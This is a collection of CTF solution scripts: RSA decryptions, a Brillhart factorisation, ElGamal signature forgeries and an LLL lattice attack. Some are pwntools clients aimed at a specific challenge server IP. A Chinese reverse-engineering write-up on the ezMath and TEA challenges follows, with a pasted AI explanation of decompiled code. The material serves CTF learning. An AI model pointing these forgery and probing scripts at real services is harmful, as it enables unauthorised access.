#     print("Confirmed: n is prime.")

# Step 2: Calculate Euler's totient function for a prime n, which is phi(n) = n - 1
phi_n = n - 1
print(f"Since n is prime, phi(n) = n - 1 = {phi_n}\n")

# Step 3: Calculate the private exponent d, which is the modular multiplicative inverse of e modulo phi(n)
# d * e ≡ 1 (mod phi(n))
try:
    # Ensure e and phi_n are coprime
    if gmpy2.gcd(e, phi_n) != 1:
         print(f"Error: e ({e}) and phi_n ({phi_n}) are not coprime. gcd = {gmpy2.gcd(e, phi_n)}")
         print("Decryption is not possible with this e.")
    else:
        d = gmpy2.invert(e, phi_n)
        print(f"Calculated private exponent d = {d}\n")

        # Step 4: Decrypt the ciphertext c to get the plaintext message m
        # m = c^d mod n
        # Use the built-in pow(base, exponent, modulus) for efficiency
        m_int = pow(c, d, n)
        print(f"Decrypted integer m = {m_int}\n")

        # Step 5: Convert the resulting integer m into bytes, then decode into a string
        # The number of bytes needed is ceil(log2(m) / 8)
        # or more simply (m.bit_length() + 7) // 8
        byte_length = (m_int.bit_length() + 7) // 8
        m_bytes = m_int.to_bytes(byte_length, 'big') # 'big' means most significant byte first

        print(f"Decrypted bytes = {m_bytes}\n")

        # Try decoding the bytes as UTF-8 (common for flags) or ASCII
        try:
            m_str = m_bytes.decode('utf-8')
            print(f"Decrypted string (UTF-8): {m_str}")
        except UnicodeDecodeError:
            try:
                m_str = m_bytes.decode('ascii')
                print(f"Decrypted string (ASCII): {m_str}")
            except UnicodeDecodeError as e:
                print(f"Could not decode bytes into a readable string: {e}")
                print("The result might be raw bytes or require different decoding.")

except ValueError:
    # This specific error might not be reachable if gcd check is done first,
    # but kept for robustness. gmpy2.invert raises ZeroDivisionError if modulus is 1 or less.
    print(f"Error calculating modular inverse. Is phi_n valid?")

Whereisp&q

import math
from Crypto.Util.number import long_to_bytes

# --- 从问题描述中获取的已知值 ---
N = 70043427687738872803871163276488213173780425282753969243938124727004843810522473265066937344440899712569316720945145873584064860810161865485251816597432836666987134938760506657782143983431621481190009008491725207321741725979791393566155990005404328775785526238494554357279069151540867533082875900530405903003
enc_flag = 20797621445779853622774031988797057713071576485981176620438476287691431211827108973711188565531231624908250816829606043339050674851955845245175767829499048697190880649138351268910380674343685058356646195398107343184004661886569002983286808168852810944626906687603677922754297685190621595441100414259760595685
a = 8369195163678456889416121467476480674288621867182572824570660596055739410903686466334448920102666056798356927389728982948229326705483052970212882852055482
b = 25500181489306553053743739056022091355379036380919737553326529889338409847082228856006303427136881468093863020843230477979
c = 8369195163678456889416121462308686152524805984209312455308229689034789710117101859597220211456125364647704791637845189120538925088375209397006380815921158
d = 31448594528370020763962343185054872105044827103889010592635556324009793301024988530934510929565983517651356856506719032859

# --- 步骤 1: 计算公共指数 e ---
# N = a^2 + e*b^2  => e = (N - a^2) / b^2
# N = c^2 + e*d^2  => e = (N - c^2) / d^2
e1 = (N - a*a) // (b*b)
e2 = (N - c*c) // (d*d)

# 验证两个方程计算出的 e 是否相同
assert e1 == e2
e = e1
print(f"[+] 计算得到公共指数 e = {e}")
print(f"    e 的比特长度: {e.bit_length()}")


# --- 步骤 2: 使用 Brillhart 方法分解 N ---
# 基于 N = a^2 + eb^2 = c^2 + ed^2
# 计算 k = ad - bc
# 计算 g = gcd(N, k)。如果 1 < g < N, 则 g 是 N 的一个因子
k = a*d - b*c
print(f"[+] 计算 k = ad - bc = {k}")

# 使用 math.gcd 计算最大公约数
g = math.gcd(N, k)
print(f"[+] 计算 g = gcd(N, k) = {g}")

# 检查 g 是否是一个非平凡因子
if 1 < g < N:
    p = g
    q = N // g
    print(f"[+] 成功找到因子:")
    print(f"    p = {p}")
    print(f"    q = {q}")
    # 验证 p * q 是否等于 N
    assert p * q == N
else:
    # 如果 gcd(N, ad-bc) 失败，可以尝试 gcd(N, ac+ebd)
    # 但在这个问题中，通常 gcd(N, ad-bc) 会成功
    print("[-] 使用 gcd(N, ad-bc) 分解失败，可以尝试其他方法（例如 gcd(N, ac+ebd)），但在此省略。")
    exit() # 如果分解失败则退出


# --- 步骤 3: 计算 RSA 私钥 ---
# 计算欧拉函数 phi(N) = (p-1)*(q-1)
phi = (p - 1) * (q - 1)
print(f"[+] 计算 phi(N) = {phi}")

# 计算私钥 d_priv，它是 e 模 phi(N) 的乘法逆元
# d_priv = e^(-1) mod phi
d_priv = pow(e, -1, phi)
print(f"[+] 计算得到私钥 d_priv = {d_priv}")


# --- 步骤 4: 解密消息 ---
# m = enc_flag ^ d_priv mod N
m = pow(enc_flag, d_priv, N)
print(f"[+] 解密得到消息整数 m = {m}")


# --- 步骤 5: 将消息整数转换回字节 ---
flag = long_to_bytes(m)
print(f"[+] 将 m 转换回字节:")

# --- 输出最终的 Flag ---
# 使用 try-except 来处理可能的解码错误（尽管通常是 utf-8）
try:
    print(f"\n[*] Flag: {flag.decode('utf-8')}")
except UnicodeDecodeError:
    print(f"\n[*] Flag (字节形式): {flag}")

stream&block

#!/usr/bin/env python3
from pwn import *
import sys

# Define the action function locally for checking
def action(msg):
    r = 0
    for b in msg:
        r ^= b
    return r

# --- Connection Details ---
HOST = "210.30.97.133"
PORT = 10003

# Set context for architecture, os, etc. (optional but good practice)
context.log_level = 'info' # Set to 'debug' for more verbose output

# Connect to the server
try:
    conn = remote(HOST, PORT)
except PwnlibException as e:
    log.error(f"Failed to connect to {HOST}:{PORT} - {e}")
    sys.exit(1)

# Read the initial banner
try:
    conn.recvuntil(b' > ')
except EOFError:
    log.error("Connection closed immediately after connect.")
    sys.exit(1)


log.info("Starting probe...")
good_ops = []

for op in range(256):
    # Construct probe P
    # If op is 0, use all null bytes. Otherwise, use byte(op) followed by null bytes.
    p_bytes = bytes([op]) + b'\x00' * 15 if op != 0 else b'\x00' * 16
    p_hex = p_bytes.hex()

    log.debug(f"Testing op={op}, P_hex={p_hex}")

    try:
        # Send choice 1 (Encrypt)
        conn.sendline(b'1')
        # Send plaintext hex
        conn.sendlineafter(b'input your plaintext(hex) > ', p_hex.encode())
        # Receive response
        response_line = conn.recvline().decode().strip()
        log.debug(f"Raw response for op={op}: {response_line}")

        # Parse ciphertext hex
        if response_line.startswith("encrypted ciphertext: "):
            c_hex = response_line.split("encrypted ciphertext: ")[1]
            c_bytes = bytes.fromhex(c_hex)

            # Check action
            act_c = action(c_bytes)
            log.debug(f"op={op}, action(P)={op}, action(C)={act_c}")
            if act_c == op:
                log.success(f"*** Found good op: {op} ***")
                good_ops.append(op)
        else:
             log.warning(f"Unexpected response format for op={op}: {response_line}")

        # Ready for the next command
        conn.recvuntil(b' > ')

    except EOFError:
        log.error("Connection closed unexpectedly during loop.")
        sys.exit(1)
    except ValueError as e:
        log.error(f"Hex decoding error for op={op}, response: {response_line} - {e}")
        # Try to recover by reading until the next prompt
        try:
            conn.recvuntil(b' > ')
        except EOFError:
            log.error("Connection closed while trying to recover from hex error.")
            sys.exit(1)
    except Exception as e:
        log.error(f"An error occurred for op={op}: {e}")
        # Try to recover
        try:
            conn.recvuntil(b' > ')
        except EOFError:
            log.error("Connection closed while trying to recover from general error.")
            sys.exit(1)


log.info(f"Finished probing. Good ops found: {good_ops}")

if not good_ops:
    log.error("No suitable op found. Cannot proceed.")
else:
    # Choose the first good op found
    chosen_op = good_ops[0]
    log.info(f"Using op = {chosen_op} for the magic text.")

    # Construct the magic block based on the chosen op
    p_good_bytes = bytes([chosen_op]) + b'\x00' * 15 if chosen_op != 0 else b'\x00' * 16

    # Construct the final message (4 blocks = 64 bytes >= 50 bytes required)
    magic_msg_bytes = p_good_bytes * 4
    magic_msg_hex = magic_msg_bytes.hex()

    log.info(f"Constructed magic message (hex): {magic_msg_hex}")

    try:
        # Send choice 3 (Verify)
        conn.sendline(b'3')
        log.info("Sent choice 3 (Verify)")

        # Send the magic message hex
        conn.sendlineafter(b'input your text(hex) > ', magic_msg_hex.encode())
        log.info("Sent magic text")

        # Receive the final response (hopefully the flag)
        final_response = conn.recvall(timeout=3).decode() # Adjust timeout if needed
        log.success("Received final response:")
        print("\n" + "="*20 + " FINAL SERVER RESPONSE " + "="*20)
        print(final_response)
        print("="*61)

    except EOFError:
        log.error("Connection closed before receiving the final response.")
    except Exception as e:
        log.error(f"An error occurred during verification: {e}")

# Close the connection (pwntools usually handles this, but explicit is fine)
conn.close()
log.info("Connection closed.")

signature2

#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import inverse, long_to_bytes, GCD

# Connection details from the challenge description
HOST = "210.30.97.133"
PORT = 10095

# Start connection
log.info(f"Connecting to {HOST}:{PORT}")
conn = remote(HOST, PORT)

# Receive public key
conn.recvuntil(b"This is your Public key: (")
p_str = conn.recvuntil(b", ", drop=True)
g_str = conn.recvuntil(b", ", drop=True)
y_str = conn.recvuntil(b")", drop=True)

p = int(p_str)
g = int(g_str)
y = int(y_str)

log.success(f"Received Public Key:")
log.info(f"  p = {p}")
log.info(f"  g = {g}")
log.info(f"  y = {y}")

# Send a dummy message (its signature will be ignored)
conn.recvuntil(b"Please tell me what you want to sign:\n> ")
dummy_msg = b"initial_message"
conn.sendline(dummy_msg)
log.info(f"Sent dummy message: {dummy_msg}")

# Receive the dummy signature (and ignore it)
conn.recvuntil(b"Your signature is: (")
conn.recvuntil(b")") # Consume the signature line
log.info("Received and ignored dummy signature.")

# --- Perform Existential Forgery ---
log.info("Calculating forged signature...")
u = 1
v = 1
p_minus_1 = p - 1

# Ensure v is coprime to p-1 (v=1 is always coprime)
assert GCD(v, p_minus_1) == 1, "v must be coprime to p-1"

# 1. Calculate r' = (g^u * y^v) % p
r_prime = (pow(g, u, p) * pow(y, v, p)) % p

# 2. Calculate s' = (-r' * inverse(v, p-1)) % (p-1)
try:
    v_inv = inverse(v, p_minus_1)
except ValueError:
    log.error(f"Inverse of v={v} mod p-1={p_minus_1} does not exist!")
    conn.close()
    exit()
# Need to compute -r' mod (p-1). Ensure r' is reduced if needed, though result of pow gives 0 <= r' < p.
# The modulo operation requires the argument to be non-negative sometimes depending on language/library.
# (-r_prime * v_inv) % p_minus_1 handles this correctly in Python.
s_prime = (-r_prime * v_inv) % p_minus_1

# 3. Calculate m' = (s' * u) % (p-1)
m_prime = (s_prime * u) % p_minus_1

log.success("Calculated Forged Signature Components:")
log.info(f"  m' = {m_prime}")
log.info(f"  r' = {r_prime}")
log.info(f"  s' = {s_prime}")

# Sanity check: verify locally (optional)
lhs = pow(g, m_prime, p)
rhs = (pow(y, r_prime, p) * pow(r_prime, s_prime, p)) % p
if lhs == rhs:
    log.info("Local verification successful!")
else:
    log.warning("Local verification failed! Something might be wrong.")
    # continue anyway, maybe a calculation nuance

# Check if the forged message m' would convert to the same bytes as the dummy message
try:
    m_prime_bytes = long_to_bytes(m_prime)
    if m_prime_bytes == dummy_msg:
        log.error("Forged message m' is the same as the initial dummy message!")
        log.error("Attack will fail. Try different u, v or dummy_msg.")
        conn.close()
        exit()
except ValueError:
    # If m_prime is 0, long_to_bytes might give empty bytes b''
    if m_prime == 0 and dummy_msg == b'':
         log.error("Forged message m'=0 might conflict with empty dummy message!")
         # Handle this case if needed, but unlikely with non-empty dummy_msg
    # Otherwise, it's fine, m'=0 -> b'' is different from non-empty dummy_msg
    pass


# Send the forged message and signature
log.info("Sending forged message and signature...")
conn.recvuntil(b"m: ")
conn.sendline(str(m_prime).encode())
log.info(f"Sent m': {m_prime}")

conn.recvuntil(b"r: ")
conn.sendline(str(r_prime).encode())
log.info(f"Sent r': {r_prime}")

conn.recvuntil(b"s: ")
conn.sendline(str(s_prime).encode())
log.info(f"Sent s': {s_prime}")

# Receive the flag or error message
log.info("Waiting for response...")
response = conn.recvall(timeout=5)

log.success("Received response:")
print(response.decode())

conn.close()
log.info("Connection closed.")

signature1

import pwn
from Crypto.Util.number import bytes_to_long, long_to_bytes

# Connection details (replace if different)
# From your screenshot:
HOST = '210.30.97.133'
PORT = 10049

try:
    # Establish connection
    conn = pwn.remote(HOST, PORT)
    pwn.context.log_level = 'info' # Show interaction logs

    # 1. Receive public key
    conn.recvuntil(b'This is your public key:\n')
    pubkey_str = conn.recvline().strip().decode()
    # Handle potential extra characters if any
    pubkey_str = pubkey_str.strip('()')
    p, g, y = map(int, pubkey_str.split(', '))
    conn.info(f"Received p = {p}")
    conn.info(f"Received g = {g}")
    conn.info(f"Received y = {y}")

    # 2. Define Target
    target_message = b'DUTCTF'
    m_target = bytes_to_long(target_message)
    conn.info(f"Target m = {m_target}")

    # 3. Craft Alternative Message
    p_minus_1 = p - 1
    m_prime = m_target + p_minus_1
    msg_prime_bytes = long_to_bytes(m_prime)
    conn.info(f"Crafted m' = {m_prime}")
    # Note: msg_prime_bytes might be very large

    # 4. Request Signature for the alternative message
    conn.recvuntil(b'Please tell me what you want to sign?\n> ')
    conn.info(f"Sending alternative message bytes (length {len(msg_prime_bytes)}) to sign...")
    conn.sendline(msg_prime_bytes)

    # Receive the signature (r, s) for msg_prime
    conn.recvuntil(b'This is your signature:\n')
    r_line = conn.recvline().strip().decode()
    s_line = conn.recvline().strip().decode()

    # Extract r and s carefully
    try:
        r = int(r_line.split('=')[1])
        s = int(s_line.split('=')[1])
        conn.info(f"Received r = {r}")
        conn.info(f"Received s = {s}")
    except (IndexError, ValueError) as e:
        conn.error(f"Failed to parse signature: r='{r_line}', s='{s_line}'")
        conn.close()
        exit()

    # 5. Submit Signature for the original target message
    conn.recvuntil(b"If you want to get the flag. Please tell me your signature\n> ")
    conn.info(f"Sending r = {r}")
    conn.sendline(str(r).encode())
    conn.recvuntil(b'> ') # Prompt for s
    conn.info(f"Sending s = {s}")
    conn.sendline(str(s).encode())

    # 6. Receive the result (hopefully the flag)
    conn.info("Waiting for flag...")
    # Use recvall to get all remaining output
    result = conn.recvall(timeout=5) # Adjust timeout if needed
    conn.success(f"Result: {result.decode()}")

    # Close connection
    conn.close()

except Exception as e:
    pwn.context.log_level = 'error'
    conn.error(f"An error occurred: {e}")
    if 'conn' in locals() and conn:
        conn.close()

MetamikuMatrixMaster

# Define p and c_list (ensure full c list is used)
p = 94951668914836210059795315483536443488933021611300220555898947046010704751659
c_list = [
    8035334017032303676884495695093849049591116586402215453176893169647528573473, 59633132506897001337475181076769716084659260056174745705282228861660454585844,
    28162843329479433477265065446992147859471233196414186246357440403309160334499, 4299109678466131600343618060605648056113232607349218027650135505549407963910,
    4087741063724374061725013462278085730705718667489149938923893312651486614669, 73854298568255274991238074779725329201544960932611944103367706659761710498656,
    71229461213142919346904865844975917255119439992501630368712083457562572987703, 16114686718014289723082144014633157871938855520267677347584656837586670455351,
    33815553137609375986764941536846486955311356747431282265813722199746367730735, 83230726604103337485693252608736987952116487439584868153421572585765208737752,
    43354624060867962612688844511954799809306957508254538657246407957691125473891, 55101837278890697174045987723057079542992530782626626822696566148569826190699,
    62604177849321207690994918211253550152229643480313270600641056287690505746500, 55392545954254989540181949652718594327551409387597584348155637070136573822824,
    28077377409202524772685778716251907003804101264114658216348829339456013295161, 21334443181285981988980698630756886134980141537264094330711028083765063415519,
    86527877688353267156038544409564951171579421083230184768315012173819906199896, 65794756895324638675873258762812358451842848189145910550661817702224116966369,
    22957500705937080580790222196044227350593392941014901984708370379340604555411, 55977668885664502413144853336297159131177754737530642324233093247568745687864,
    93062235767859648250412725812749448881541642649971084665181528969581777561465, 30474926227967272254439075001191161577976221357861668422513122909667896147233,
    60775836432659248756300048642443361744048616393839129752849968709547592033670, 71214544835243381339076088571162567904668832029672120026798494828609569503119,
    1174815806395901492096195189104319047839644470732310954592448712895225126130, 25608109273384978479485966037827618297462947734861101290796152980521502852654,
    84310874165903335358606830377169502406570533488803476591113974411344926639939, 24825972828150211947708356276934254637682047694949045115854000286055596575358,
    77671717686612226841883804936168777380412228821522967173353349296517170636360, 69846508771180325151756459684876846450893191201713121999727511653375604855218,
    8987813778406417907094761426890842138014909328197870288562454428726660271907, 30440204987717603713083763738703598556857003088625013718943318268794375542978,
    19521407840482588407487908680073693029442255108207197779397873576957114219574, 53017306130976718162852673259699032134557815647762813929925333742376644678749,
    15774515989940084946089586257040469965291992992385643947928102390855958180000
]

# Ensure c is a SageMath vector
c = vector(Zmod(p), c_list)

n = len(c)

# Convert c components to SageMath integer type ZZ
c_int = [ZZ(x) for x in c]

# Construct the lattice basis matrix M
M = Matrix(ZZ, n + 1, n)
for i in range(n):
    M[i, i] = p
for i in range(n):
    M[n, i] = c_int[i]

print("Matrix M constructed. Running LLL...")
# Run LLL
B = M.LLL()
print("LLL computation finished.")
# print("Reduced Basis B (first few rows):") # Optional: print basis if needed
# print(B.nrows())
# for i in range(min(5, B.nrows())): # Print first 5 rows or fewer
#    print(f"B[{i}]: {B[i]}")

# --- Try to find the correct vector ---
target_vec = None
if B[0].is_zero():
    print("B[0] is the zero vector. Trying B[1]...")
    if B.nrows() > 1 and not B[1].is_zero():
         target_vec = B[1]
         print("Using B[1] as the target vector.")
    else:
        print("B[1] is also zero or does not exist. Cannot proceed.")
else:
    # Check if B[0] magnitude seems reasonable (heuristic)
    # A very small norm might indicate the zero vector or an issue.
    # Check nbits of the first component as a rough proxy for size.
    if abs(B[0][0]).nbits() > 100: # Expect components ~135 bits
        target_vec = B[0]
        print("Using B[0] as the target vector.")
    else:
        print(f"B[0] seems potentially too small (first component has {abs(B[0][0]).nbits()} bits). Checking B[1]...")
        if B.nrows() > 1 and not B[1].is_zero() and abs(B[1][0]).nbits() > 100:
            target_vec = B[1]
            print("Using B[1] as the target vector.")
        else:
             print("B[1] is also zero, too small, or doesn't exist. Defaulting back to B[0] or stopping.")
             # Decide whether to proceed with B[0] or stop if both seem wrong
             if not B[0].is_zero():
                 print("Proceeding with potentially small B[0].")
                 target_vec = B[0]
             else:
                 print("Both B[0] and B[1] seem problematic. Stopping.")
                 target_vec = None # Ensure we don't proceed


if target_vec is None:
    print("Could not identify a suitable short vector from LLL basis.")
else:
    # print(f"Using vector: {target_vec}") # Optional: print the vector being used
    flag = ""
    print("Attempting to recover flag from the selected vector...")

    found_flag = True
    possible_chars = list(range(32, 127)) # ASCII printable range

    for i, val in enumerate(target_vec): # Use enumerate to get index if needed
        abs_val = abs(ZZ(val))
        if abs_val == 0:
            print(f"Error: Component {i} is zero.")
            flag += "?"
            found_char = False # Maintain consistency
            found_flag = False # Mark overall flag recovery as failed
            continue # Skip to the next component

        found_char = False
        for char_code in possible_chars:
            if abs_val % char_code == 0:
                potential_prime = abs_val // char_code
                # Check if quotient is non-zero and prime
                # Add bit size check for robustness
                if potential_prime != 0 and potential_prime.is_prime() and 120 < potential_prime.nbits() < 140:
                     flag += chr(char_code)
                     found_char = True
                     break # Found the correct factor
        if not found_char:
            # If no factor is found, print more info
            print(f"Error: Could not find valid character factor for value {abs_val} (nbits: {abs_val.nbits()}) at index {i}")
            flag += "?"
            found_flag = False

    # Print final result
    if found_flag:
        print("\nSuccessfully recovered flag:")
        print(flag)
    else:
        print("\nCould not recover the full flag. Partial result:")
        print(flag)

Xxxxxxxor

import binascii
import math

# --- 本次连接获取的新数据 ---
key_decimal_str = "129159542755632"
ciphertext_hex = "312d18e90576e487ecb33034d1e7c8737024740619e64564155759a615558407a9f6756471e7cc9634d"
# --- 数据结束 ---

try:
    key_decimal = int(key_decimal_str)

    # --- 根据新的数字计算密钥字节 (大端序) ---
    # hex(129159542755632) -> 0x7558407a9f6750 -> 需要 7 bytes
    num_bytes = 7 # 根据上面计算，这次是7字节
    print(f"Attempting key interpretation: Decimal {key_decimal} -> {num_bytes} bytes (BIG-endian)")
    key_bytes = key_decimal.to_bytes(num_bytes, byteorder='big')
    # 密钥应该是 b'\x75\x58\x40\x7a\x9f\x67\x50'

except ValueError:
    print(f"Error: Could not convert '{key_decimal_str}' to integer.")
    exit()
except OverflowError:
     print(f"Error: Decimal number issue with {num_bytes} bytes.")
     exit()

# 将十六进制密文转换为 bytes
ciphertext_bytes = binascii.unhexlify(ciphertext_hex)
print(f"Key length: {len(key_bytes)} bytes. Ciphertext length: {len(ciphertext_bytes)} bytes.") # 应该输出 7 和 49

# 执行 XOR 解密
result_bytes = bytearray()
key_len = len(key_bytes)
if key_len == 0:
    print("Error: Key is empty.")
    exit()

for i in range(len(ciphertext_bytes)):
    # 密文字节与对应密钥字节（循环使用）进行 XOR
    xor_byte = ciphertext_bytes[i] ^ key_bytes[i % key_len]
    result_bytes.append(xor_byte)

# 尝试将解密后的 bytes 解码为字符串
try:
    decrypted_text = result_bytes.decode('utf-8')
    print("Decrypted Text:")
    print(decrypted_text)
    # 因为 49 % 7 == 0，这次可能得到完整的 flag
except UnicodeDecodeError:
    print("Failed to decode result as UTF-8. Here are the raw bytes:")
    print(result_bytes)
    print("Hex representation of result:")
    print(binascii.hexlify(result_bytes).decode('utf-8'))

Reverse 做题记录 (2)

LangQi99的博客 — Tue, 22 Apr 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/re2/

import Collapse from "../../components/mdx/Collapse.astro"; import Diff from "../../components/mdx/Diff.astro"; import Error from "../../components/mdx/Error.astro"; import Info from "../../components/mdx/Info.astro"; import Kbd from "../../components/mdx/Kbd.astro"; import Success from "../../components/mdx/Success.astro"; import Warning from "../../components/mdx/Warning.astro"; import TimeLine from "../../components/mdx/TimeLine.astro"; import LinkCard from "../../components/mdx/LinkCard.astro";

ezMath

题目

题目链接

SSSCTF ezMath 1

解题

开局 Shift +F12 ，找到flag检验

然后喜报

Sorry, this node is too big to display

这个节点太大了，显示不了，但是可以修改 IDA/cfg/hexrays.cfg的 MAX_FUNCSIZE，默认应该是64，改成1024即可

发现就是个加加减减然后和一个东西比较

那个东西是

我做的时候还不会提取这玩意

res = []
with open("t.log", "r") as f:
    s = f.read()
    count = 0
    rcount = 0
    tmp = ""
    for line in s.split("\n"):
        line = line.split("db ")
        line = line[1][1:4].replace("h", "").replace(" ", "")
        count += 1
        tmp = line + tmp
        if count % 4 == 0:
            rcount += 1
            res.append(tmp)
            tmp = ""
        if rcount == 40:
            break

for i in range(40):
    print(f"v{i} = 0x{res[i]}")

原来 Shift +E 要选中数据才能提取

接下来就是解密，我们发现这些数经过一些加减然后再比较

那么我们直接逆回去，把比较的数加减回去，然后就可以得到flag

具体实现上，就是倒着运行代码，然后加换减，减换加

import logging

# 配置日志
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler('solve.log'),
        logging.StreamHandler()
    ]
)

logger = logging.getLogger(__name__)

ans0 = 0xFFFFFF9A
ans1 = 0x0006D
ans2 = 0x0007E
....
ans38 = 0xFFFFFFED
ans39 = 0x00035
for i in range(2, 42):
    exec(f"v{i} = ans{i-2}")
with open("ori", "r") as f:
    s = f.read()
    lines = s.split("\n")
    lines.reverse()
    for line in lines:
        if "+=" in line:
            line = line.replace("+=", "-=")
        elif "-=" in line:
            line = line.replace("-=", "+=")
        elif "++" in line:
            line = line.split("++")
            line = line[1] + "-=1"
        elif "--" in line:
            line = line.split("--")
            line = line[1] + "+=1"
        exec(line)
        # logger.info(line)
for i in range(2, 42):
    exec(f"print(chr(v{i}%256),end='')")

坑

代码里面有少量的++v和--v 而非v+=14 5000行里只有10+个
不要line.replace("+=", "-=").replace("-=", "+=")

TEA

题目

题目链接

flag用 sssctf{}包裹

解题

开局仍然是 Shift +F12 跟上面一样找到入口

我们一个一个看

printf("Input:");
scanf("%s", Str);
if ( strlen(Str) != 32 )
  return -1;

输入长度必须为32，然后我们看下面 merge4函数

/*
char Str[100];
0 1 2 3 4 5 6 7 8 9 a b c d e f
(0) (1) (2) (3) (4) (5) (6) (7) (8) (9) (a) (b) (c) (d) (e) (f)
*/
int *__cdecl sub_4015AA(int a1, int a2)
{
  int *result; // eax
  int i; // [esp+Ch] [ebp-4h]

  for ( i = 0; i <= 7; ++i )
  {
    result = (int *)(4 * i + a2);
    /*
        #offset: 0 4 8 c
        #type: int* 4 bytes
    */
    *result = *(char *)(4 * i + 3 + a1) | (((((*(char *)(4 * i + a1) << 8) | *(char *)(4 * i + 1 + a1)) << 8) | *(char *)(4 * i + 2 + a1)) << 8);
    /*
        #addr:    0         4         8         c
        #offset: (0 1 2 3) (4 5 6 7) (8 9 a b) (c d e f)
    */
  }
  return result;
  /*
      _DWORD content[8];
      0 1 2 3 4 5 6 7 8 9 a b c d e f
      (0 1 2 3) (4 5 6 7) (8 9 a b) (c d e f)
  */
}

这里我画了内存的表，也就是说把char[32]转换成int[8]存到content

然后看 merge2函数

/*
char Str[100];
0 1 2 3 4 5 6 7 8 9 a b c d e f
(0) (1) (2) (3) (4) (5) (6) (7) (8) (9) (a) (b) (c) (d) (e) (f)
*/

for ( i = 0; i <= 3; ++i )
{
    result = (int *)(4 * i + a2);
    /*
        #offset: 0 4 8 c
        #type: int* 4 bytes
    */

    *result = *(char *)(2 * i + 1 + a1) | (*(char *)(2 * i + a1) << 8); 
    /*
        #addr:    0         4         8         c
        #offset: (0 0 0 1) (0 0 2 3) (0 0 4 5) (0 0 6 7)
    */
}
/*
char key[16];
0 1 2 3 4 5 6 7 8 9 a b c d e f
(0) (0) (0) (1) (0) (0) (2) (3) (0) (0) (4) (5) (0) (0) (6) (7)
*/

这里把char[32]存到char[16] 不过发现这里key只用到了前8个字节 也就是前八个char

tea函数先放着不管

sub_401696((int)content, (int)dec_32);在这

char Str[100]->Str[32]
char dec_32[400];
for ( i = 0; i <= 7; ++i )
{
    *(_DWORD *)(dec_32 + 16 * i) = HIBYTE(*(_DWORD *)(4 * i + content));
    *(_DWORD *)(dec_32 + 16 * i + 4) = (unsigned __int8)BYTE2(*(_DWORD *)(4 * i + content));
    *(_DWORD *)(dec_32 + 16 * i + 8) = (unsigned __int8)BYTE1(*(_DWORD *)(4 * i + content));
    *(_DWORD *)(dec_32 + 16 * i + 12 ) = (unsigned __int8)*(_DWORD *)(4 * i + content);
}
-user:
这在做什么 简单直观概括

-4o:
这段代码的作用是：**将一个 32 字节的缓冲区（`content` 指向）中的每 4 字节（一个 `DWORD`）分拆成字节后重新排列，并以 16 字节为单位写入另一个缓冲区 `dec_32` 中。**

简单直观地说就是：

👉 **每4字节拆成4个字节，按从高到低的顺序重新按列排布到新的内存中，每次写入16字节，共8组。**

例如：
假设 `content` 里的前4字节是 `0xAABBCCDD`，这段代码会把：
- `AA`（高字节）放到新位置的偏移0
- `BB` 放偏移4
- `CC` 放偏移8
- `DD` 放偏移12
然后处理下一个4字节，再放入下一组16字节，以此类推，重复8次。

结果：把原始的"按行排列"的结构，变成了"按列排列"的结构，有点类似矩阵转置那种感觉。适合于后续的加密或解码处理。

这是比较函数

所以我们立马就能

v2 = [0]*32
v2[0] = 176
v2[1] = 71
...
v2[28] = 58
v2[29] = 94
v2[30] = 28
v2[31] = 205
encrypt_data = [0]*8
for i in range(8):
    encrypt_data[i] = v2[i*4] << 24 | v2[i*4+1] << 16 | v2[i*4+2] << 8 | v2[i*4+3]

我们知道加密是需要密钥的，这里分析一下并总结

明文是由我们输入的32字节
密钥是明文的前8个字节
加密函数是TEA
密文是encrypt_data

还记得题目一开始说的吗，flag是sssctf{}包裹的，所以密钥的前7个字节是sssctf{，只需爆破最后一个字节即可

guess = []
guess += [chr(i) for i in range(ord('a'), ord('z')+1)]
guess += [chr(i) for i in range(ord('A'), ord('Z')+1)]
guess += [chr(i) for i in range(ord('0'), ord('9')+1)]
guess += ['!', '@', '#', '$', '%', '^', '&', '*',
          '(', ')', '-', '_', '+', '=', '{', '}', '[', ']', '|', ':', ';', ',', '.', '/', '?', '~'] # 这一行是ai补全的 我不确定有没有这么多

然后看tea函数

unsigned int __cdecl tea(_DWORD *ori, int a2, int key)
{
  unsigned int *v3; // eax
  unsigned int *v4; // eax
  unsigned int result; // eax
  int v6; // [esp+Ch] [ebp-1Ch]
  int index; // [esp+10h] [ebp-18h]
  unsigned int i; // [esp+14h] [ebp-14h]
  unsigned int v9; // [esp+18h] [ebp-10h]
  unsigned int v10; // [esp+1Ch] [ebp-Ch]

  if ( a2 > 1 )
  {
    index = 52 / a2 + 6;                        // 12
    v9 = 0;
    v10 = ori[a2 - 1];
    do
    {
      v9 -= 1640531527;
      v6 = (v9 >> 2) & 3;
      for ( i = 0; i < a2 - 1; ++i )
      {
        v3 = &ori[i];
        *v3 += ((ori[i + 1] ^ v9) + (v10 ^ *(_DWORD *)(4 * (v6 ^ i & 3) + key))) ^ (((4 * ori[i + 1]) ^ (v10 >> 5))
                                                                                  + ((ori[i + 1] >> 3) ^ (16 * v10)));
        v10 = *v3;
      }
      v4 = &ori[a2 - 1];
      *v4 += ((*ori ^ v9) + (v10 ^ *(_DWORD *)(4 * (v6 ^ i & 3) + key))) ^ (((4 * *ori) ^ (v10 >> 5))
                                                                          + ((*ori >> 3) ^ (16 * v10)));
      result = *v4;
      v10 = result;
      --index;
    }
    while ( index );
  }
  return result;
}

这玩意里面挺混淆的，我头发耗光了把那一堆东西化简成这样，自己都没想到能如此简洁，这该不会是re的精髓吧

index = 12;
sum = 0;
o7 = ori[7];
do
{
    sum -= 0x61C88647;
    sum2 = (sum >> 2) & 3;
    for (i=0; i < 7; ++i)
    {
        ori[i] += ((ori[(i+1) % 8] ^ sum) + (ori[(i-1) % 8] ^ *(_DWORD *)(4 * (sum2 ^ i & 3) + key))) ^ (((4 * ori[(i+1) % 8]) ^ (ori[(i-1) % 8] >> 5)) + ((ori[(i+1) % 8] >> 3) ^ (16 * ori[(i-1) % 8])));
    }
    --index;
}
while (index);

接下来参考了文章tea 加密解密算法（面向ctf-reverse使用，光速学会tea逆向套路）

(实际上在化简前就看文章了耗了大半天一直觉得我遇到的这个TEA是超级复杂的TEA)

tea解密其实跟上面那道题类似，仍然是倒着运行，然后加换减，减换加

这里异或就不用管了，因为异或的逆运算就是异或，和上面一题一样

sum的初始值是0x61C88647 * -index

